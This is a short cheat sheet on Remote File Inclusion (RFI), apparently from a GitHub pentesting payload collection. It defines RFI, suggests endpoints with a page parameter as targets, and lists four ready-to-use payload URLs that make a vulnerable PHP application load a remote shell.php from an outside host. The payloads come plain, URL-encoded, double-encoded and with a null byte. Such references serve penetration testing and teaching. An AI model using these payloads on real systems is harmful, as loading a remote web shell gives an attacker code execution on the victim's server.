Remote File Inclusion.md

June 22, 2022 ยท View on GitHub

Remote File Inclusion (RFI)

Introduction

Remote file inclusion (RFI) is an attack targeting vulnerabilities in web applications that dynamically reference external scripts.

Where to find

  • Any endpoint that includes a file from a web server. For example, /index.php?page=index.html

How to exploit

  1. Basic payload
http://example.com/index.php?page=http://daffa.info/shell.php
  1. URL encoding
http://example.com/index.php?page=http%3A%2F%2Fdaffa.info%2Fshell.php
  1. Double encoding
http://example.com/index.php?page=http%253A%252F%252Fdaffa.info%252Fshell.php
  1. Using Null Byte (%00)
http://example.com/index.php?page=http://daffa.info/shell.php%00

References